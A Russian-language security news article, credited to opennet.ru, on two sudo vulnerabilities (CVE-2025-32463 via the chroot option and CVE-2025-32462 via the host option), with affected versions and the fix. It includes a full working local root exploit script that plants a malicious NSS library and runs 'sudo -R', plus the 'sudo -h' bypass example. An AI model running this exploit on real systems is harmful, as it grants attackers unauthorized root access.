Уязвимости Π² ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π΅ sudo, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΡ€Π°Π²Π° root Π² систСмС

Π’ ΠΏΠ°ΠΊΠ΅Ρ‚Π΅ sudo, примСняСмом для ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ выполнСния ΠΊΠΎΠΌΠ°Π½Π΄ ΠΎΡ‚ ΠΈΠΌΠ΅Π½ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, выявлСна ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ (CVE-2025-32463), ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π»ΡŽΠ±ΠΎΠΌΡƒ Π½Π΅ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ с ΠΏΡ€Π°Π²Π°ΠΌΠΈ root, Π΄Π°ΠΆΠ΅ Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ упомянут Π² ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ sudoers. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅ ΠΏΠΎΠ΄Π²Π΅Ρ€ΠΆΠ΅Π½Ρ‹ дистрибутивы, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠ΅ Ρ„Π°ΠΉΠ» ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ /etc/nsswitch.conf, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ эксплуатации уязвимости продСмонстрирована Π² Ubuntu 24.04 ΠΈ Fedora 41.

Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ проявляСтся Π² ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈ ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½Π° Π² выпусках sudo с 1.9.14 ΠΏΠΎ 1.9.17 (ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°Π΅Ρ‚ всС вСрсии, начиная с 1.8.33). ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° устранСна Π² ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ sudo 1.9.17p1. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ состояниС Π½ΠΎΠ²ΠΎΠΉ вСрсии ΠΏΠ°ΠΊΠ΅Ρ‚Π° ΠΈΠ»ΠΈ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠΈ исправлСния Π² дистрибутивах ΠΌΠΎΠΆΠ½ΠΎ Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… страницах (Ссли страница нСдоступна, Π·Π½Π°Ρ‡ΠΈΡ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ дистрибутива Π΅Ρ‰Ρ‘ Π½Π΅ приступили ΠΊ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo ΠΈ Arch (1, 2).

ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π²Ρ‹Π·Π²Π°Π½Π° Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠΈ ΠΎΠΏΡ†ΠΈΠΈ Β«-RΒ» (Β«β€”chrootΒ») для запуска ΠΊΠΎΠΌΠ°Π½Π΄ Π² chroot-ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΈ с Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΊΠΎΡ€Π½Π΅Π²Ρ‹ΠΌ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠΌ, Ρ„Π°ΠΉΠ» /etc/nsswitch.conf загруТался Π² контСкстС Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠ³ΠΎ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°, Π° Π½Π΅ систСмного ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°. Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠ³ΠΎ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° для chroot собствСнный ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π² Π½Ρ‘ΠΌ Ρ„Π°ΠΉΠ» ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ nsswitch.conf. ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΡ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌΡ‹ΠΉ подсистСмой NSS (Name Service Switch) Ρ„Π°ΠΉΠ» /etc/nsswitch.conf, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π² Π½Π΅Π³ΠΎ настройки, приводящиС ΠΊ Π²Ρ‹Π·ΠΎΠ²Ρƒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ². ΠŸΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ°ΡŽΡ‚ΡΡ NSS Π² Ρ„ΠΎΡ€ΠΌΠ΅ раздСляСмых Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π² ΠΏΠΎΠ΄ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅. ΠŸΠΎΠ΄ΡΡ‚Π°Π²ΠΈΠ² свою Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ выполнСния ΠΈΠ· Π½Π΅Ρ‘ ΠΊΠΎΠ΄Π° с ΠΏΡ€Π°Π²Π°ΠΌΠΈ root, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° NSS производится Π΄ΠΎ сброса ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ.

ΠŸΡ€ΠΈΠΌΠ΅Ρ€ эксплоита: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir(Β«/Β»); execl(Β«/bin/bashΒ», Β«/bin/bashΒ», NULL); } EOF mkdir -p woot/etc libnss_ echo Β«passwd: /woot1337Β» > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo Β«woot!Β» sudo -R woot woot rm -rf ${STAGE?}

Π’ вСрсии sudo 1.9.17p1 Ρ‚Π°ΠΊΠΆΠ΅ устранСна Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½Π° ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ (CVE-2025-32462), ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ с ΠΏΡ€Π°Π²Π°ΠΌΠΈ root, Π½ΠΎ ΠΏΡ€ΠΎΡΠ²Π»ΡΡŽΡ‰Π°ΡΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² конфигурациях sudoers, ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Β«hostΒ» Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… выставлСн Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠ΅ ΠΎΡ‚ ALL ΠΈΠ»ΠΈ ΠΈΠΌΠ΅Π½ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ хоста. Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Π° ошибкой, ΠΈΠ·-Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ опция Β«-hΒ» (Β«β€”hostΒ») дСйствовала Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² сочСтании с ΠΎΠΏΡ†ΠΈΠ΅ΠΉ Β«-lΒ» (Β«β€”listΒ») для Π²Ρ‹Π²ΠΎΠ΄Π° привязанных ΠΊ хосту ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ, Π½ΠΎ ΠΈ ΠΏΡ€ΠΈ запускС ΠΊΠΎΠΌΠ°Π½Π΄. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠ³ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ sudo любой хост ΠΈ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ ограничСния ΠΏΡ€Π°Π²ΠΈΠ» sudoers, привязанных ΠΊ ΠΈΠΌΠ΅Π½ΠΈ хоста.

Для ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Π°Ρ‚Π°ΠΊΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Ρ‚ΡŒΡΡ Π² sudoers, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π² настройках ΡƒΠΊΠ°Π·Π°Π½ΠΎ Β«testuser testhost = ALLΒ», Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Β«testuserΒ» ΠΌΠΎΠ³ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Β«sudo -h testhostΒ» ΠΈ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ с ΠΏΡ€Π°Π²Π°ΠΌΠΈ root Π½Π° Π»ΡŽΠ±Ρ‹Ρ… хостах, Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° хостС testhost. Уязвимости Π½Π΅ ΠΏΠΎΠ΄Π²Π΅Ρ€ΠΆΠ΅Π½Ρ‹ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ с настройками Π²ΠΈΠ΄Π° Β«testuser ALL = ALLΒ» ΠΈΠ»ΠΈ Π±Π΅Π· явных ΠΏΡ€Π°Π²ΠΈΠ» для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru

Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ